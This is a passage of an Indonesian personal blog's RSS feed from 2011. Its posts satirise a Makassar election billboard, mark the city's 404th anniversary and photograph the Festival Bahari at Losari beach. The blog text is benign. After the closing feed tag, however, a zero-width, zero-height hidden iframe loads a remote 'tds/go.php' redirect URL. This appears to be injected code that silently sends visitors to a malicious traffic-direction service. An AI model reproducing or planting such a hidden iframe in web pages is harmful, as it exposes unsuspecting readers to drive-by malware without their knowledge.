<p>Berikutnya ada gambar sang Obama Makassar yang sedang memaku menggunakan pakaian adat. Gambar ini muncul dalam berbagai varian. Selain berpakaian adat, sang Obama juga muncul dengan kaos dan kemeja. Gambar ini sebenarnya bisa menjadi POI, sayangnya karena di belakang sang Obama ada sebatang paku super besar yang terlihat mengintimidasi sehingga kesannya jadi numpuk.</p>
<p>Kemudian di bagian bawah ada tulisan <strong>PAKUI </strong>yang jadi jargon utama baliho tersebut. Bagian paling bawah ada tulisan : <strong>DON?T STOP KOMANDAN !!</strong> ini adalah jargon lain dari sang gubernur <em>incumbent </em>Syahrul Yasin Limpo. Jelas sudah kalau om Bahar yang mantap ini mendukung Syahrul Yasin Limpo untuk maju kembali menjadi gubernur. Tapi rupanya om Bahar kita ini masih kurang percaya diri hanya dengan sekadar menuliskan jargon khas tuannya karena dia merasa perlu untuk menuliskan inisial sang pujaan di bagian bawah.</p>
<p>Setelah itu baliho ini ditutup dengan gambar berbatang-batang paku yang berserakan di bagian bawah. Lengkap sudah !!</p>
<div id="attachment_2197" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/pakui3.jpg"><img class="size-full wp-image-2197" title="pakui3" src="http://daenggassing.com/wp-content/uploads/2011/12/pakui3.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Bagian Bawah PAKUI</p></div>
<p>Saya jadi bertanya-tanya, pesan apa yang ingin disampaikan sang Obama ini ? Pesan kalau dia jago memancangkan paku ? Pesan kalau dia senang menebar paku ? Atau mungkin ada pesan tersembunyi yang hanya bisa dipecahkan a la Da Vinci Code ? Kalau dia ingin memamerkan 5 hal yang jadi kepanjangan dari PAKUI yaitu ; <strong>Prayer, Attitude, Komitmen, Ulet dan Insipirasi</strong> maka saya harus bilang kalau dia tidak berhasil. Lagipula, apa sih maksud dari kelima kata itu ? Siapa yang dimaksud ? Sang Obama atau sang tuan yang mau maju jadi gubernur lagi ?</p>
<p>Yah, dengan berat hati untuk anda yang tidak berada di Makassar saya peringatkan kalau ke Makassar sekarang ini maka berhati-hatilah dengan paku yang bertebaran di sepanjang jalan kota Makassar. Paku yang bukan membuat ban kendaraan anda bocor tapi mungkin membuat kening anda berkerut. Syukur-syukur kalau anda bisa tersenyum geli.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/" title="PAKUI">PAKUI</a> (8)</li><li><a href="http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/" title="makassar">makassar</a> (7)</li><li><a href="http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/" title="gambar obama untuk makassar">gambar obama untuk makassar</a> (6)</li><li><a href="http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/" title="design baliho dont stop komandan">design baliho dont stop komandan</a> (5)</li><li><a href="http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/" title="berita yang menarik perhatian di makassar">berita yang menarik perhatian di makassar</a> (3)</li></ul><div class="shr-publisher-2193"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fmenebar-paku-di-jalanan-makassar%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Makassar, 404 Tahun dan Terus Bersolek</title>
		<link>http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/</link>
		<comments>http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 09:08:51 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Ulang Tahun]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2028</guid>
		<description><![CDATA[9 November 2011, Makassar katanya resmi berusia 404 tahun. Rentang waktu yang tidak sedikit, sebanding dengan polesan makeup dari kota terbesar di Timur Indonesia ini. Sepuluh tahun lalu kawasan Tanjung Bunga yang berada di barat kota Makassar belum seramai sekarang. Kawasan perumahan sudah ada, pun dengan kawasan wisata pantainya. Tapi Tanjung Bunga masih dominan berisi [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2029" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/DSC_1160.jpg"><img class="size-full wp-image-2029" title="_DSC_1160" src="http://daenggassing.com/wp-content/uploads/2011/11/DSC_1160.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Losari di Sore Hari</p></div>
<blockquote>
<h3 style="text-align: left;">9 November 2011, Makassar katanya resmi berusia 404 tahun. Rentang waktu yang tidak sedikit, sebanding dengan polesan makeup dari kota terbesar di Timur Indonesia ini.</h3>
</blockquote>
<p>Sepuluh tahun lalu kawasan Tanjung Bunga yang berada di barat kota Makassar belum seramai sekarang. Kawasan perumahan sudah ada, pun dengan kawasan wisata pantainya. Tapi Tanjung Bunga masih dominan berisi rawa-rawa dan pohon bakau yang membuatnya terasa seram di malam hari.? Waktu kemudian bergulir. Sebuah mall besar di bawah korporasi Lippo berdiri tegak di kawasan yang berada sepelemparan batu dari garis pantai kota Makassar itu.</p>
<p>Bertahun-tahun kemudian kawasan Tanjung Bunga kemudian jadi semakin ramai ketika sebuah mall lain tumbuh. Bukan sekadar mall tapi juga tempat permainan besar nan ramai yang katanya sekaliber dengan permainan serupa di negeri Paman Sam sana. Itulah Mall Trans dengan Trans Studio-nya.</p>
<p>Bermeter-meter dari sana, di sepanjang pantai yang jadi ikon kota Makassar yaitu pantai Losari, perubahan juga terasa. Lupakan jejeran pedagang makanan yang dulu sampai disebut sebagai restoran terpanjang di dunia. Losari sudah berubah, sebuah anjungan besar berbentuk setengah lingkaran berlantai beton menjadi pusat keramaian baru di kota ini. Dulu ditentang meski kemudian banyak yang menikmatinya ketika dia sudah tegak.</p>
<p>Di nol kilometer kota ini polesan make up juga terasa. Lapangan yang dulu lebih rendah dari jalan, jadi penampung air di musim hujan dan nyaris gelap gulita di malam hari kini dirombak total. Sebagian lahannya menjadi milik pengusaha yang kemudian menyulapnya menjadi pusat perbelanjaan di bawah tanah, lengkap dengan terowongan menuju sebuah pusat perbelanjaan besar miliknya di seberang. Protes juga mewarnai polesan make up ini, tapi mereka jalan terus. Sekarang pusat perbelanjaan itu jadi salah satu pusat transaksi elektronik di kota Makassar.</p>
<p>Makassar terus bersolek. Dalam kurun 10 tahun belakangan ini kota di pesisir pantai ini mulai berdandan biar tampak keren. Satu persatu bangunan berbahan beton berdiri tegak, satu persatu pusat keramaian dan pusat perbelanjaan dihadirkan. Sayangnya karena satu persatu jejak rekam kearifan lokal dan kearifan sejaran dihilangkan. Deretan bangunan tua yang dulunya terlihat indah di pusat kota berganti dengan bangunan baru beraksitektur modern. Makassar memang terlihat begitu mengidolakan Jakartra sehingga semua aspek seperti meniru Jakarta.</p>
<p>Meniru Jakarta ? Salah satunya adalah soal transportasi. Makassar makin padat, jalan-jalannya makin tak ramah. Satu persatu ruas jalan berubah jadi titik macet. Satu per satu jalanan jadi tempat menumpuknya kendaraan. Persis seperti Jakarta, kota yang mungkin sangat diidolakannya.</p>
<p>Makassar sudah tua, 404 tahun bukan waktu yang singkat. Kota yang dulunya hanya jadi bagian dari kerajaan Gowa ini kini menjadi gerbang Indonesia Timur, kota terbesar di sebelah timur pulau Jawa. Tak heran kalau Makassar juga makin bersolek, makin rajin menumpuk bangunan berbahan beton, makin rajin menumpuk kendaraan di jalanan. Mungkin seperti Jakarta, <em>role model</em>-nya.</p>
<div id="attachment_2030" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/coto-lamuru.jpg"><img class="size-medium wp-image-2030" title="coto lamuru" src="http://daenggassing.com/wp-content/uploads/2011/11/coto-lamuru-300x225.jpg" alt="" width="300" height="225" /></a><p class="wp-caption-text">Coto ; kuliner khas Makassar</p></div>
<p>Tapi saya bersyukur bahwa di Makassar ini saya masih gampang menikmati deburan ombak dan belaian angin laut. Saya bersyukur di Makassar ini saya masih bisa merasakan halusnya pasir putih di pulau tak berpenghuni yang tak begitu jauh dari kota Makassar. Saya bersyukur saya masih bisa mencicipi ragam kuliner khas kota ini yang belum sepenuhnya terpinggirkan oleh serangan makanan modern dari seberang benua. Makassar masih punya banyak orang yang mencintai makanan daerahnya. Makassar masih punya banyak orang yang mencintai ikan dan produk lautnya.</p>
<p>Tahun ini Makassar berusia 404 tahun. Meski bukan warga Makassar tapi saya yang nyaris setiap hari menginjakkan kaki di kotanya, mencari rejeki di kotanya dan membuang kotoran di kotanya selalu berharap kota ini tidak sampai menjadi kota yang sekejam ibukota. Selalu berharap Makassar bisa menjadi kota yang nyaman, selalu menghargai kearifan lokalnya dan tak pernah lupa untuk terus mempromosikan keindahan baharinya.</p>
<p>Makassar berulangtahun, Makassar bersolek dan sayangnya, Makassar makin kotor oleh baliho. Semoga pemerintah kota, siapapun itu ? terbuka mata hatinya untuk membuat Makassar menjadi jauh lebih manusiawi. Apa gunanya menjadi kota modern tapi kemudian menjadi sombong pada warganya ? Semoga Makassar tidak sampai seperti itu.</p>
<p>Selamat ulang tahun Makassar..!!</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/" title="angkutan kota ke tanjung bunga">angkutan kota ke tanjung bunga</a> (2)</li><li><a href="http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/" title="wisata yang ada di makassar">wisata yang ada di makassar</a> (2)</li><li><a href="http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/" title="kearifan lokal kota makassar dan pariwisata">kearifan lokal kota makassar dan pariwisata</a> (1)</li><li><a href="http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/" title="trans studio version">trans studio version</a> (1)</li><li><a href="http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/" title="terowongan terbesar di makassar">terowongan terbesar di makassar</a> (1)</li></ul><div class="shr-publisher-2028"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F11%2Fmakassar-404-tahun-dan-terus-bersolek%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/11/makassar-404-tahun-dan-terus-bersolek/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Festival Bahari Makassar</title>
		<link>http://daenggassing.com/2011/09/festival-bahari-makassar/</link>
		<comments>http://daenggassing.com/2011/09/festival-bahari-makassar/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 07:46:59 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Festival Bahari]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1867</guid>
		<description><![CDATA[Makassar kembali menggelar Festival Budaya dan Bahari, sebuah rangkaian kegiatan yang termasuk dalam kalender pariwisata Sulawesi Selatan sebagai bagian dari Visit Sulawesi Selatan 2012. Acara ini diramaikan dengan berbagai kegiatan berhubungan dengan bahari dan budaya Sulawesi Selatan, di antaranya adalah penampilan 150 penari dari fakultas seni dan desain Universitas Negeri Makassar yang menampilkan tarian pakkarena [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><blockquote>
<h3>Makassar kembali menggelar <a href="http://daenggassing.com/festival-bahari-makassar/">Festival Budaya dan Bahari</a>, sebuah rangkaian kegiatan yang termasuk dalam kalender pariwisata Sulawesi Selatan sebagai bagian dari Visit Sulawesi Selatan 2012.</h3>
</blockquote>
<p>Acara ini diramaikan dengan berbagai kegiatan berhubungan dengan bahari dan budaya Sulawesi Selatan, di antaranya adalah penampilan 150 penari dari fakultas seni dan desain Universitas Negeri Makassar yang menampilkan tarian pakkarena di atas perahu lepa-lepa ( sejenis perahu kecil yang dipakai nelayan untuk mencari ikan )</p>
<p>Selain itu juga pada pembukaan di hari Minggu tanggal 11 September kemarin digelar parade akrobatik udara oleh 6 pesawat tempur tipe Jupiter, parasailing dan puluhan penerjun payung yang menghiasi langit Pantai Losari sore itu. Selain kegiatan tersebut, ada juga lomba renang antar pulau dan lomba layar dari Makassar &#8211; Darwin ( Australia ).</p>
<p>Antusiasme masyarakat kota Makassar mulai terlihat sejak pagi hari dan terus berlanjut hingga sore. Ribuan warga memadati pantai Losari yang juga adalah ikon kota Makassar untuk melihat langsung penampilan para pengisi acara. Meski begitu, masih ada juga beberapa orang yang setiap harinya memang mencari makan di sekitaran Losari yang tampak acuh saja dan tetap menjalankan kegiatannya mencari nafkah. Mereka adalah para penyewa kapal wisata berbentuk bebek, para pencari ikan dan anak-anak yang menyewakan kail dan pancing.</p>
<p>Berikut adalah tangkapan kamera saya atas ragam aktifitas yang terjadi di <a href="http://daenggassing.com/festival-bahari-makassar/">Festival Bahari Makassar</a> sore kemarin.</p>
<div id="attachment_1869" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2463-11.jpg"><img class="size-full wp-image-1869" title="_IMG_2463-1" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2463-11.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Seorang lelaki penyandang gangguan kejiwaan tertidur pulas di salah satu kursi beton di anjungan Pantai Losari </p></div>
<div id="attachment_1870" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2467-2.jpg"><img class="size-full wp-image-1870" title="_IMG_2467-2" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2467-2.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Seorang bapak berteduh bersama dua anaknya sambil menantikan acara dimulai </p></div>
<div id="attachment_1871" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2498-3.jpg"><img class="size-full wp-image-1871" title="_IMG_2498-3" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2498-3.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Persiapan 150 penari pakkarena di atas perahu lepa-lepa </p></div>
<div id="attachment_1872" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2502-4.jpg"><img class="size-full wp-image-1872" title="_IMG_2502-4" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2502-4.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Parasailing di atas langit Losari </p></div>
<div id="attachment_1873" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2505-5.jpg"><img class="size-full wp-image-1873 " title="_IMG_2505-5" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2505-5.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Parasailing melintas di atas penonton dengan latar sunset </p></div>
<div id="attachment_1874" class="wp-caption aligncenter" style="width: 410px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2531-6.jpg"><img class="size-full wp-image-1874" title="_IMG_2531-6" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2531-6.jpg" alt="" width="400" height="600" /></a><p class="wp-caption-text">Penerjun payung bersiap mendarat </p></div>
<div id="attachment_1875" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2541-7.jpg"><img class="size-full wp-image-1875" title="_IMG_2541-7" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2541-7.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Para penonton memperhatikan atraksi terjun payung </p></div>
<div id="attachment_1876" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2547-8.jpg"><img class="size-full wp-image-1876" title="_IMG_2547-8" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2547-8.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Anak kecil yang menyewakan pancing, tidak terpengaruh riuhnya penonton yang antusias menikmati Festival Bahari </p></div>
<div id="attachment_1877" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2565-9.jpg"><img class="size-full wp-image-1877" title="_IMG_2565-9" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2565-9.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Para penonton antusias menyaksikan para penerjun yang mendarat di luar Pantai Losari </p></div>
<div id="attachment_1878" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2568-10.jpg"><img class="size-full wp-image-1878" title="_IMG_2568-10" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2568-10.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Seorang anak di pundak ayahnya terpana melihat belasan penerjun di atas Pantai Losari </p></div>
<div id="attachment_1879" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2578-11.jpg"><img class="size-full wp-image-1879 " title="_IMG_2578-11" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2578-11.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Para penari pakkarena setelah beraksi dan bersiap kembali ke daratan </p></div>
<div id="attachment_1880" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2582-12.jpg"><img class="size-full wp-image-1880 " title="_IMG_2582-12" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2582-12.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Panitia yang bersiap dengan latar belakang sunset </p></div>
<div id="attachment_1881" class="wp-caption aligncenter" style="width: 410px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2622-13.jpg"><img class="size-full wp-image-1881" title="_IMG_2622-13" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2622-13.jpg" alt="" width="400" height="600" /></a><p class="wp-caption-text">Sunset yang indah di Pantai Losari </p></div>
<div id="attachment_1882" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2648-14.jpg"><img class="size-full wp-image-1882" title="_IMG_2648-14" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2648-14.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Para penerjun dengan latar sunset </p></div>
<div id="attachment_1883" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2682-15.jpg"><img class="size-full wp-image-1883" title="_IMG_2682-15" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2682-15.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Perahu karet milik tim SAR yang bersiap menghadapi kemungkinan terburuk </p></div>
<div id="attachment_1884" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2709-16.jpg"><img class="size-full wp-image-1884" title="_IMG_2709-16" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2709-16.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Penerjun terakhir menjelang tibanya malam</p></div>
<p>&nbsp;</p>
<p>Acara <a href="http://daenggassing.com/festival-bahari-makassar/">Festival Bahari</a> ini akan berlangsung hingga 18 September 2011 dengan beragam acara. Sayangnya informasi dari panitia tentang rundown acara sangat terbatas.</p>
<p>&nbsp;</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/09/festival-bahari-makassar/" title="keramaian pantai losari minggu pagi">keramaian pantai losari minggu pagi</a> (8)</li><li><a href="http://daenggassing.com/2011/09/festival-bahari-makassar/" title="tim sar indonesia">tim sar indonesia</a> (7)</li><li><a href="http://daenggassing.com/2011/09/festival-bahari-makassar/" title="sunset yang indah">sunset yang indah</a> (2)</li><li><a href="http://daenggassing.com/2011/09/festival-bahari-makassar/" title="perahu layar di sunset">perahu layar di sunset</a> (2)</li><li><a href="http://daenggassing.com/2011/09/festival-bahari-makassar/" title="latar makassar">latar makassar</a> (2)</li></ul><div class="shr-publisher-1867"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F09%2Ffestival-bahari-makassar%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/09/festival-bahari-makassar/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
